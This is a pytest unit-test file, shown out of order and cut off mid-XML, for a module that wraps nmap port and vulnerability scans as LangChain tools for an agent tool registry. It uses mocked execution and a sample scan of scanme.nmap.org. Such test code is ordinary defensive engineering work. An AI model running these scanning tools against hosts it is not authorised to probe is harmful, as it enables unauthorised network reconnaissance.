(TimingTemplate.POLITE, "-T2"), (TimingTemplate.NORMAL, "-T3"), (TimingTemplate.AGGRESSIVE, "-T4"), (TimingTemplate.INSANE, "-T5"), ], ) def test_timing_template_values(self, timing, expected): """Test all timing templates have correct values.""" assert timing.value == expected # ============================================================================ # Test TOP_PORTS Dictionary # ============================================================================ class TestTopPorts: """Test TOP_PORTS presets.""" def test_top_10_ports(self): """Test top-10 ports preset.""" ports = NmapScanner.TOP_PORTS["top-10"] assert "22" in ports assert "80" in ports assert "443" in ports assert "21" in ports assert "25" in ports def test_top_100_ports(self): """Test top-100 ports preset.""" ports = NmapScanner.TOP_PORTS["top-100"] port_list = ports.split(",") assert len(port_list) >= 90 def test_top_1000_marker(self): """Test top-1000 marker.""" assert NmapScanner.TOP_PORTS["top-1000"] == "top-1000" # ============================================================================ # Test Tool Registry Integration # ============================================================================ class TestToolRegistryIntegration: """Test integration with tool registry.""" @patch("tools.nmap_integration.TOOL_REGISTRY_AVAILABLE", True) @patch("tools.nmap_integration.LANGCHAIN_AVAILABLE", True) @patch("tools.nmap_integration.registry") def test_register_nmap_tools(self, mock_registry): """Test registering nmap tools with registry.""" register_nmap_tools() assert mock_registry.register.call_count == 3 @patch("tools.nmap_integration.TOOL_REGISTRY_AVAILABLE", False) def test_register_when_registry_unavailable(self): """Test registration when registry is not available.""" result = register_nmap_tools() assert result is None @patch("tools.nmap_integration.TOOL_REGISTRY_AVAILABLE", True) @patch("tools.nmap_integration.LANGCHAIN_AVAILABLE", True) @patch("tools.nmap_integration.registry") def test_register_with_exception(self, mock_registry): """Test registration handling exceptions.""" mock_registry.register.side_effect = Exception("Registry error") result = register_nmap_tools() assert result is None @patch("tools.nmap_integration.TOOL_REGISTRY_AVAILABLE", True) @patch("tools.nmap_integration.LANGCHAIN_AVAILABLE", False) def test_register_when_langchain_unavailable(self): """Test registration when langchain is not available.""" result = register_nmap_tools() assert result is None # ============================================================================ # Test Error Handling # ============================================================================ class TestErrorHandling: """Test error handling scenarios.""" def test_parse_host_exception(self, scanner): """Test exception handling in _parse_host.""" # Create a malformed host element that will cause an exception host_elem = Mock() host_elem.find.side_effect = Exception("Parse error") result = scanner._parse_host(host_elem) assert result is None def test_parse_port_exception(self, scanner): """Test exception handling in _parse_port.""" port_elem = Mock() port_elem.get.side_effect = Exception("Parse error") result = scanner._parse_port(port_elem) assert result is None def test_invalid_hostname_warning(self, mock_nmap_path, caplog): """Test warning for invalid hostname format.""" import logging with caplog.at_level(logging.WARNING): scanner = NmapScanner("not_a_valid_host!!!") assert "doesn't look like a valid hostname" in caplog.text # ============================================================================ # Integration Test Helpers # ============================================================================ class TestIntegrationHelpers: """Test helper functions for integration.""" def test_import_with_langchain(self): """Test import when langchain is available.""" # This test verifies the module can be imported from tools import nmap_integration assert hasattr(nmap_integration, "nmap_scan") assert hasattr(nmap_integration, "nmap_quick_scan") assert hasattr(nmap_integration, "nmap_vuln_scan") def test_all_exports(self): """Test __all__ exports.""" from tools import nmap_integration expected_exports = [ "NmapScanner", "NmapPort", "NmapHost", "NmapResult", "ScanType", "TimingTemplate", "nmap_scan", "nmap_quick_scan", "nmap_vuln_scan", "register_nmap_tools", ] for export in expected_exports: assert export in nmap_integration.__all__ if __name__ == "__main__": pytest.main([__file__, "-v"])
"""
Comprehensive Unit Tests for Nmap Integration Module
Tests for tools/nmap_integration.py with mocking (no real tool execution).
Target: >70% coverage
Run with: pytest tests/unit/test_nmap_integration.py -v
"""
import asyncio
import subprocess
# Ensure imports work
import sys
import xml.etree.ElementTree as ET
from pathlib import Path
from unittest.mock import MagicMock, Mock, patch
import pytest
sys.path.insert(0, str(Path(__file__).parent.parent.parent))
from tools.nmap_integration import (
NmapHost,
NmapPort,
NmapResult,
NmapScanner,
ScanType,
TimingTemplate,
create_nmap_result_dict,
nmap_quick_scan,
nmap_scan,
nmap_vuln_scan,
register_nmap_tools,
)
# ============================================================================
# Fixtures
# ============================================================================
@pytest.fixture
def mock_nmap_path():
"""Mock shutil.which to return nmap path."""
with patch("shutil.which", return_value="/usr/bin/nmap"):
yield
@pytest.fixture
def sample_xml_output():
"""Sample XML output with complete host information."""
return """<?xml version="1.0" encoding="UTF-8"?>
<nmaprun scanner="nmap" args="nmap -sS -T3 -p 80,443 -oX - scanme.nmap.org">
<host starttime="1234567890">
<status state="up" reason="syn-ack"/>
<address addr="45.33.32.156" addrtype="ipv4"/>
<address addr="00:50:56:C0:00:08" addrtype="mac" vendor="VMware"/>
<hostnames>
<hostname name="scanme.nmap.org" type="user"/>
</hostnames>
<ports>
<port protocol="tcp" portid="80">
<state state="open" reason="syn-ack"/>
<service name="http" product="Apache httpd" version="2.4.7" ostype="Linux">
<cpe>cpe:/a:apache:http_server:2.4.7</cpe>
<cpe>cpe:/o:linux:linux_kernel</cpe>
</service>
<script id="http-title" output="Go ahead and ScanMe!"/>
<script id="http-methods" output="GET, HEAD, POST, OPTIONS"/>
</port>
<port protocol="tcp" portid="443">
<state state="open" reason="syn-ack"/>
<service name="https" product="Apache httpd" version="2.4.7" tunnel="ssl"/>
</port>
<port protocol="tcp" portid="22">
<state state="closed" reason="reset"/>
<service name="ssh" method="table"/>
</port>
</ports>
<os>
<osmatch name="Linux 3.x" accuracy="95" line="12345"/>
<osmatch name="Linux 4.x" accuracy="90" line="12346"/>
<osclass type="general purpose" vendor="Linux" osfamily="Linux" osgen="3.X" accuracy="95"/>
</os>
<hostscript>
<script id="nbstat" output="NetBIOS name: TEST"/>
<script id="smb-os-discovery" output="OS: Windows Server 2019"/>
</hostscript>
<trace>
<hop ttl="1" ipaddr="192.168.1.1" rtt="0.5" host="router.local"/>
<hop ttl="2" ipaddr="10.0.0.1" rtt="1.2"/>
<hop ttl="3" ipaddr="45.33.32.156" rtt="2.5"/>
</trace>
<uptime seconds="1234567" lastboot="Mon Jan 1 00:00:00 2024"/>
<distance value="1"/>
<tcpsequence index="100" difficulty="Good luck!"/>
<ipidsequence class="All zeros" values="0,0,0"/>
<tcptssequence class="1000HZ" values="1,2,3"/>
</host>
<host starttime="1234567891">

Xet Storage Details

Size:
50.2 kB
·
Xet hash:
bb1dc98f1d1c64fffc10ab45869e4760bcfcc3ccf3c84fd20f6340558823d1a3

Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.